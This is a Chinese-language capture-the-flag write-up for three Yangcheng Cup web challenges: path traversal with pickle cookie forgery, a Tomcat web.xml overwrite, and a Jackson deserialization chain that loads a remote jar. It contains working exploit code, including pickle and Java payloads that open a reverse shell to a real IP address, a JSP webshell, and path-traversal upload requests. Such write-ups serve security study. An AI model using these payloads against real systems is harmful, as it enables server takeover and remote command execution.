羊城杯部分wp

羊城杯部分wp

Lyrics For You

1
/lyrics?lyrics=

这个诗歌路由可以读文件

读取/proc/self/environ

1
KUBERNETES_SERVICE_PORT=443KUBERNETES_PORT=tcp://10.168.0.1:443MAIL=/var/mail/playerUSER=playerHOSTNAME=endpoint-1588102d5f4542e89e9df25bff3c6ed6-0SHLVL=0PYTHON_PIP_VERSION=22.2.2HOME=/home/playerGPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696DDASINIT=DASINITLOGNAME=player_=/bin/suPYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/5eaac1050023df1f5c98b173b248c260023f2278/public/get-pip.pyKUBERNETES_PORT_443_TCP_ADDR=10.168.0.1PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binKUBERNETES_PORT_443_TCP_PORT=443KUBERNETES_PORT_443_TCP_PROTO=tcpLANG=C.UTF-8DASFLAG=notSHELL=/bin/shPYTHON_VERSION=3.10.7PYTHON_SETUPTOOLS_VERSION=63.2.0KUBERNETES_SERVICE_PORT_HTTPS=443KUBERNETES_PORT_443_TCP=tcp://10.168.0.1:443PWD=/usr/etc/appKUBERNETES_SERVICE_HOST=10.168.0.1PYTHON_GET_PIP_SHA256=5aefe6ade911d997af080b315ebcb7f882212d070465df544e1175ac2be519b4

读源码app.py

1
/lyrics?lyrics=../app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import os
import random
import pickle
from flask import Flask, make_response, request, render_template

# 假设这些模块和变量已经定义好了
from config.secret_key import secret_code
from cookie import set_cookie, cookie_check, get_cookie

app = Flask(__name__)
app.secret_key = random.randbytes(16)


class UserData:
def __init__(self, username):
self.username = username


def Waf(data):
# 检查输入的数据是否包含黑名单中的关键词
blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
for word in blacklist:
if word.lower() in data.lower():
return True
return False


@app.route("/", methods=['GET'])
def index():
return render_template('index.html')


@app.route("/lyrics", methods=['GET'])
def lyrics():
query = request.args.get("lyrics")
path = os.path.join(os.getcwd(), "lyrics", query)

try:
with open(path) as f:
res = f.read()
except Exception:
return "No lyrics found"

resp = make_response(res)
resp.headers["Content-Type"] = 'text/plain; charset=UTF-8'
return resp


@app.route("/login", methods=['POST', 'GET'])
def login():
if request.method == 'POST':
username = request.form.get("username")
user = UserData(username)
res = {"username": user.username}
return set_cookie("user", res, secret=secret_code)

return render_template('login.html')


@app.route("/board", methods=['GET'])
def board():
# 检查Cookie是否合法
if cookie_check("user", secret=secret_code):
return "Nope, invalid code get out!"

data = get_cookie("user", secret=secret_code)
if isinstance(data, bytes):
data = pickle.loads(data)

if "username" not in data:
return render_template('user.html', name="guest")

if data["username"] == "admin":
return render_template('admin.html', name=data["username"])
else:
return render_template('user.html', name=data["username"])


if __name__ == "__main__":
os.chdir(os.path.dirname(__file__))
app.run(host="0.0.0.0", port=8080)

开始傻逼了

1
2
3
# 假设这些模块和变量已经定义好了
from config.secret_key import secret_code
from cookie import set_cookie, cookie_check, get_cookie

这两个文件一直没读

1
2
/lyrics?lyrics=../config/secret_key.py
/lyrics?lyrics=../cookie.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
secret_code = "EnjoyThePlayTime123456"

import base64
import hashlib
import hmac
import pickle
from flask import make_response, request

# 将字符串转换为字节
def tob(s, enc='utf8'):
return s.encode(enc) if isinstance(s, str) else bytes(s)

# 将字节转换为字符串
def touni(s, enc='utf8', err='strict'):
return s.decode(enc, err) if isinstance(s, bytes) else s

# 编码 Cookie 值
def cookie_encode(data, key):
msg = base64.b64encode(pickle.dumps(data, protocol=-1))
sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
return tob('!') + sig + tob('?') + msg

# 解码 Cookie 值
def cookie_decode(data, key):
data = tob(data)
if cookie_is_encoded(data):
sig, msg = data.split(tob('?'), 1)
if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())):
return pickle.loads(base64.b64decode(msg))
return None

# 检查 Cookie 值是否符合 WAF 规则
def waf(data):
blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
return any(word in data for word in blacklist)

# 检查 Cookie 是否有效
def cookie_check(key, secret=None):
value = request.cookies.get(key)
if value:
data = tob(value)
if cookie_is_encoded(data):
sig, msg = data.split(tob('?'), 1)
if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())):
res = base64.b64decode(msg)
if waf(res):
return True
return False

# 判断 Cookie 是否编码过
def cookie_is_encoded(data):
return bool(data.startswith(tob('!')) and tob('?') in data)

# 比较两个字节序列是否相等
def _lscmp(a, b):
return not sum(0 if x == y else 1 for x, y in zip(a, b)) and len(a) == len(b)

# 设置 Cookie
def set_cookie(name, value, secret=None, **options):
if secret:
value = touni(cookie_encode((name, value), secret))
resp = make_response("success")
resp.set_cookie(name, value, max_age=3600, **options)
return resp
elif not isinstance(value, str):
raise TypeError('Secret key missing for non-string Cookie.')
if len(value) > 4096:
raise ValueError('Cookie value too long.')

# 获取 Cookie
def get_cookie(key, default=None, secret=None):
value = request.cookies.get(key)
if secret and value:
dec = cookie_decode(value, secret)
return dec[1] if dec and dec[0] == key else default
return value or default

那么思路很明确了

就是用那个密钥伪造一个cookie用来pickle反序列化

waf ban掉了一下但是不太影响

1
2
3
def waf(data):
blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
return any(word in data for word in blacklist)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import pickle

from flask import Flask

from cookie import set_cookie, cookie_check, get_cookie


class UserData:
def __init__(self, username):
self.username = username

secret_code = "EnjoyThePlayTime123456"
username = "111"
user = UserData(username)
res = b'''(cos
system
S"bash -c 'bash -i >& /dev/tcp/39.107.77.142/3389 0>&1'"
o.'''
# res = {"username": pld}


# 创建Flask应用
app = Flask(__name__)

@app.route('/set_cookie', methods=['GET'])
def set_cookie_route():
response = set_cookie("user", res, secret=secret_code)
return response

@app.route("/board", methods=['GET'])
def board():
# 检查Cookie是否合法
if cookie_check("user", secret=secret_code):
return "Nope, invalid code get out!"

data = get_cookie("user", secret=secret_code)
if isinstance(data, bytes):
data = pickle.loads(data)

# if "username" not in data:
# return render_template('user.html', name="guest")
#
# if data["username"] == "admin":
# return render_template('admin.html', name=data["username"])
# else:
# return render_template('user.html', name=data["username"])

if __name__ == '__main__':
app.run(debug=True)

生成cookie然后发送到/board路由即可

image-20240827123127111

tomtom2

1
?filename=/opt/tomcat/conf/tomcat-users.xml
1
<user username="admin" password="This_is_my_favorite_passwd" roles="manager-gui"/>

获取登录后台的密码

登陆后可以上传.xml文件

image-20240827191136203

1
/myapp/read?filename=/opt/tomcat/webapps/myapp/uploads/1.xml

这个是上传的默认路径

但是发现有个path参数,所以应该是可以进行目录穿越的

image-20240828004407323

1
?filename=/opt/tomcat/conf/web.xml

想读一下web.xml但是被ban了

1
?filename=/opt/tomcat/conf/server.xml

这个是可以正常读的

那么现在我们可以上传.xml文件到任意的路径

我们可以利用 ”通过 PUT 方法的 Tomcat 任意写入文件漏洞 (CVE-2017-12615)-02“

因此我们的思路就是去覆盖web.xml文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
POST /myapp/upload?path=../../../../../../opt/tomcat/conf HTTP/1.1
Host: 139.155.126.78:37629
Content-Length: 2468
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Edg/128.0.0.0
Origin: http://139.155.126.78:37629
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBwRAtoGTG95M8BWe
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://139.155.126.78:37629/myapp/upload.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: JSESSIONID=BBDFFBD584282D3BDC6CC119CA0EB883; JSESSIONID=E9A36DA460FBD42A9F0C3799FE9CB4EC
Connection: close


Content-Disposition: form-data; name="file"; filename="web.xml"
Content-Type: text/xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"
version="3.1">


<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>


<servlet-mapping>
<servlet-name>default</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>


<servlet>
<servlet-name>jsp</servlet-name>
<servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
<init-param>
<param-name>fork</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>xpoweredBy</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>3</load-on-startup>
</servlet>


<servlet-mapping>
<servlet-name>jsp</servlet-name>
<url-pattern>*.jsp</url-pattern>
</servlet-mapping>


<welcome-file-list>
<welcome-file>index.html</welcome-file>
<welcome-file>index.htm</welcome-file>
<welcome-file>index.jsp</welcome-file>
<welcome-file>default.html</welcome-file>
<welcome-file>default.htm</welcome-file>
<welcome-file>default.jsp</welcome-file>
</welcome-file-list>


<error-page>
<error-code>404</error-code>
<location>/404.html</location>
</error-page>
<error-page>
<error-code>500</error-code>
<location>/500.html</location>
</error-page>

</web-app>


这里需要注意两个点,web.xml要完整,否则好像不太行,让gpt写一下

第二个点,需要加一个jsp解析,网上给的做法是直接PUT /3.jsp/ HTTP/1.1 这样就可以解析了,但是这题并不可以

这样会返回409,我们如果不在web.xml加jsp解析,直接传一个3.jsp,是不会解析的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
PUT /3.jsp HTTP/1.1
Host: 139.155.126.78:37629
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Edg/128.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: JSESSIONID=E9A36DA460FBD42A9F0C3799FE9CB4EC
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 956

<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}

public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>

image-20240828005001717

上传成功蚁剑连接即可

image-20240828004930406

别的师傅的做法:

可以上传一个1.xml的马,然后在web.xml配置将xml解析为jsp

ez_java(复现)

题目结构:

image-20240914161637897

image-20240914161702688

就是springboot和shiro的依赖

image-20240902145232385

这个依赖里给了jackson

这个javassit是我自己添加的

image-20240902152131301

这个upload路由没什么用

/user/ser路由可以反序列化

但是它自定义了反序列化的方法,进行了黑名单限制

这些是不能用的

1
2
3
4
5
6
7
8
9
"java.lang.Runtime"
"java.lang.ProcessBuilder"
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"
"java.security.SignedObject"
"com.sun.jndi.ldap.LdapAttribute"
"org.apache.commons.beanutils"
"org.apache.commons.collections"
"javax.management.BadAttributeValueExpException"
"com.sun.org.apache.xpath.internal.objects.XString"

image-20240902183956428

但是这个shiro是有限制的

没法绕过,需要登录

image-20240902184125058

user类里有提示

我们再看user类的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public String getGift() {
String gift = this.username;
gift = gift.trim();
gift = gift.toLowerCase();
if (gift.startsWith("http") || gift.startsWith("file")) {
gift = "nonono";
}

try {
URL url1 = new URL(gift);
Class<?> URLclass = Class.forName("java.net.URLClassLoader");
Method add = URLclass.getDeclaredMethod("addURL", URL.class);
add.setAccessible(true);
URLClassLoader classloader = (URLClassLoader)ClassLoader.getSystemClassLoader();
add.invoke(classloader, url1);
} catch (Exception var6) {
var6.printStackTrace();
}

return gift;
}

user#getGift反射调用了URLClassLoader#addURL(this.username)方法

这个方法是可以进行远程请求的

对http和file进行了过滤,但是用的是startwith,所以我们是可以绕过的

URLClassLoader#addURL(this.username)的用法可以参考下方代码,其中jar:http://是为了绕过上方startsWith对协议的判断。注意:执行完add.invoke(classloader, url1);并不会直接去加载远程的jar包,而是需要等到下一次请求类加载器找不到类的时候,才会去远程去找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;

public class URLClassLoaderAddURLTest {
public static void main(String[] args) throws Exception{
String gift = "jar:http://127.0.0.1:12345/calc.jar!/";
URL url1 = new URL(gift);
Class<?> URLclass = Class.forName("java.net.URLClassLoader");
Method add = URLclass.getDeclaredMethod("addURL", URL.class);
add.setAccessible(true);
URLClassLoader classloader = (URLClassLoader)ClassLoader.getSystemClassLoader();
add.invoke(classloader, url1);
}
}

攻击思路是:

  1. 本地构造一个Calc类,让这个类的static、readObject方法里放上反弹shell的代码
  2. 利用admin、admin888登录到后台
  3. 通过/user/ser接口反序列化触发User#getGift方法,把远程jar包路径添加到URLClassLoader里
  4. 再次通过/user/ser接口触发Calc类的反序列化,此时服务器默认不存在Calc类,但是会去远程jar包里找,最终初始化Calc类完成反弹shell

编写如下Calc类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class Calc implements Serializable {
static String code = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDcuNzcuMTQyLzMzODkgMD4mMQ==}|{base64,-d}|{bash,-i}";
static {
try {
Runtime.getRuntime().exec(code);
} catch (IOException e) {
throw new RuntimeException(e);
}
}

private void readObject(ObjectInputStream in) throws Exception {
Runtime.getRuntime().exec(code);
}
}

编译Calc类并打包成jar包:

1
2
3
javac Calc.java
jar -cvf Calc.jar Calc.class
mv Calc.jar calc.jar

我们想要执行代码的地方已经完成了

接下来就是如何触发user#getGift了

因为只有springboot、CB的依赖,还有带了jaskson

所以我们就要考虑利用Jackson

BadAttributeValueExpException#readObject -> POJONode#toString -> getter

这个是比较常用的

但是BadAttributeValueExpException被过滤了,所以可以通过HashMap的方式调用POJONode#toString进而触发getter

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import com.example.ycbjava.bean.User;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import sun.misc.Unsafe;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Easyjava_1 {
public static void main(String[] args) throws Exception{
User user = new User();
user.setUsername("jar:http://39.107.77.142:3306/Calc.jar!/");
// 删除 BaseJsonNode#writeReplace 方法用于顺利序列化
// ClassPool pool = ClassPool.getDefault();
// CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
// CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
// ctClass0.removeMethod(writeReplace);
// ctClass0.toClass();

POJONode node = new POJONode(user);

HashMap hashMap = makeHashMapByTextAndMnemonicHashMap(node);

byte[] bytes = serialize(hashMap);
System.out.println(Base64.getEncoder().encodeToString(bytes));

//序列化 --> 反序列化
// ByteArrayOutputStream baos = new ByteArrayOutputStream();
// ObjectOutputStream oos = new ObjectOutputStream(baos);
// oos.writeObject(hashMap);
// oos.close();
// ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
// ois.readObject();


}
public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
return baos.toByteArray();
}
public static HashMap makeHashMapByTextAndMnemonicHashMap(Object toStringClass) throws Exception{
Map tHashMap1 = (Map) getObjectByUnsafe(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));
Map tHashMap2 = (Map) getObjectByUnsafe(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));
tHashMap1.put(toStringClass, "123");
tHashMap2.put(toStringClass, "12");
setFieldValue(tHashMap1, "loadFactor", 1);
setFieldValue(tHashMap2, "loadFactor", 1);
HashMap hashMap = new HashMap();
hashMap.put(tHashMap1,"1");
hashMap.put(tHashMap2,"1");

tHashMap1.put(toStringClass, null);
tHashMap2.put(toStringClass, null);
return hashMap;
}
public static Object getObjectByUnsafe(Class clazz) throws Exception{
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
return unsafe.allocateInstance(clazz);
}
public static void setFieldValue(Object obj, String key, Object val) throws Exception{
Field field = null;
Class clazz = obj.getClass();
while (true){
try {
field = clazz.getDeclaredField(key);
break;
} catch (NoSuchFieldException e){
clazz = clazz.getSuperclass();
}
}
field.setAccessible(true);
field.set(obj, val);
}
}

把结果发送一下

反序列化会再在URLClassLoader增加路径

再编写一下序列化的Calc类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class Easyjava_2 {
public static void main(String[] args) throws Exception{
Calc calc = new Calc();
byte[] bytes = serialize(calc);
System.out.println(Base64.getEncoder().encodeToString(bytes));
}
public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
return baos.toByteArray();
}
}

再次发送

这次会去请求刚刚的路径

image-20240902190207557

image-20240902190226310

分析

现在我们来分析一下是如何调用的

网上有后面这半条链的分析

AliyunCTF Bypassit1

链接

https://www.cnblogs.com/jasper-sec/p/17880636.html

http://www.mi1k7ea.com/2019/11/13/Jackson%E7%B3%BB%E5%88%97%E4%B8%80%E2%80%94%E2%80%94%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%9F%BA%E6%9C%AC%E5%8E%9F%E7%90%86/#0x02-%E4%BD%BF%E7%94%A8Jackson%E8%BF%9B%E8%A1%8C%E5%BA%8F%E5%88%97%E5%8C%96%E5%92%8C%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96

https://xz.aliyun.com/t/12509?u_atoken=7477e70171b6a8c14347231f195c2c60&u_asession=01m3r2ELQ1n8z-Meeq4-ZUkvX8d74G2PpdTnNxE_z8ozWwNwt3nwMzPyqiqPMPEL1MJB-YY_UqRErInTL5mMzm-GyPlBJUEqctiaTooWaXr7I&u_asig=05RzPbwqDjxqPkbrAWrKIZE1Nthww1i6x8pEUFhXdHf7GstR-ymMQvTuK3EzChaYZJ11SY-9fqz3mhyGrdLmToqbIFz_C6UR0677KHMy2fjjSEsc-7xVGzN6tV1eX56UQRwY14gd6hdxR9ztGoqGZRsEOy48Y67MCEFDoS_ATPr-_BzhvSc0Kr8URjOX9Xe4tkHbOWB9FDedUPhRJ37VtBlhblN1pQyHFKo33216k1UmTC1er_-COvcWnjravHcyzg3JAEDlS2lxdIjTUq_R9AuTQLRdKvyJ-Vt6BWVroX4Sd6gx6UxFgdF3ARCQ86jS_u_XR5hatHQVh06VuUZ-D1wA&u_aref=WBrx2L6cIVHLch1ACanD7%2FMn1TQ%3D

https://godspeedcurry.github.io/posts/aliyunctf2023-bypassit1/#%E8%B0%83%E8%AF%95jackson%E8%A7%A6%E5%8F%91getter%E7%9A%84%E8%BF%87%E7%A8%8B

首先我是没有Jackson基础的

我们先来看看Jackson是什么

其实就是一套用来进行序列化反序列化的工具

方式如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;

public class User {
private String name;
private String age;

public User() {
}

public User(String name, String age) {
this.name = name;
this.age = age;
}

public String getName() {
System.out.println("getname");
return name;
}

public void setName(String name) {
System.out.println("setname");
this.name = name;
}

public String getAge() {
return age;
}

public void setAge(String age) {
this.age = age;
}
public static void main(String[] args) throws JsonProcessingException {
System.out.println("serialize");
User u = new User("aaa","bbb");
ObjectMapper obj = new ObjectMapper();
String json = obj.writeValueAsString(u);
System.out.println(json);


System.out.println("unserialize");

User tmp = obj.readValue(json, User.class);
System.out.println(tmp);
}
}
/*
serialize
getname
{"name":"aaa","age":"bbb"}

unserialize
setname
User@ff5b51f
*/

Jackson用ObjectMapper#writeValueAsString来序列化对象

用readValue来反序列化对象

writeValueAsString的时候会调用对象属性的getter方法

readValue会调用对象属性的setter方法

ObjectMapper#writeValueAsString触发序列化对象的任意getter

那我们现在就要寻找调用ObjectMapper#writeValueAsString的方法

结论我们都知道了:POJONode#toString可以调用ObjectMapper#writeValueAsString

其实POJONode是没有toString方法的,这个方法存在其父类BaseJsonNode中,且是一个抽象类

image-20240902191259591

1
InternalNodeMapper.nodeToString->ObjectWriter#writeValueAsString

那我们现在成功把问题转换成如何调用POJONode#toString

BadAttributeValueExpException#readObject可以调用任意对象的toString

但是本题这个被ban了,需要我们换成hashmap

还有,在编写exp的时候,需要把BaseJsonNode#writereplace删掉,但是我本地并没有找到这个方法

由于POJONode#toString可以调用任意getter,所以连上cc3也是可以的

image-20240902210806173

现在我们再来看看hashmap是如何调用POJONode#toString的

本地调试分析:

HashMap#readObject->putVal(hash(key), key, value, false, false);

这里的key我们放的是javax.swing.UIDefaults$TextAndMnemonicHashMap

image-20240902211039494

我们再来看这个内部类

image-20240902211257123

它继承了HashMap

而HashMap的父类又是AbstractMap

所以调用javax.swing.UIDefaults$TextAndMnemonicHashMap#equals会调用AbstractMap的equals

image-20240902211415138

然后

1
2
3
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;

所以我们的exp要控制value == null

然后就会邹get(key)方法,而TextAndMnemonicHashMap作为javax.swing.UIDefaults的内部类,这个类是有get方法的

image-20240902211552333

这个get方法可以调用任意对象的toString,所以最终其实是UIDefaults#get->POJONode#toString

我们再来看exp对hashmap的处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public static HashMap makeHashMapByTextAndMnemonicHashMap(Object toStringClass) throws Exception{
Map tHashMap1 = (Map) getObjectByUnsafe(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));
Map tHashMap2 = (Map) getObjectByUnsafe(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));
tHashMap1.put(toStringClass, "123");
tHashMap2.put(toStringClass, "12");
setFieldValue(tHashMap1, "loadFactor", 1);
setFieldValue(tHashMap2, "loadFactor", 1);
HashMap hashMap = new HashMap();
hashMap.put(tHashMap1,"1");
hashMap.put(tHashMap2,"1");

tHashMap1.put(toStringClass, null);
tHashMap2.put(toStringClass, null);
return hashMap;
}
public static Object getObjectByUnsafe(Class clazz) throws Exception{
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
return unsafe.allocateInstance(clazz);

首先获取这个内部类

然后把POJONode放到key中,因为最后调用的是TextAndMnemonicHashMap#get(key)

然后loadFactor这个值必须大于0才能过if判断

最后再把这个map放到一个hashmap,因为putval那里其实是嵌套了

为什么需要放两个呢?

image-20240902212021615

这里有个newNode,第一遍会走newNode,第二遍才会走下面的equals


羊城杯部分wp
http://example.com/2024/09/14/羊城杯部分wp/
作者
zymic
发布于
2024年9月14日
许可协议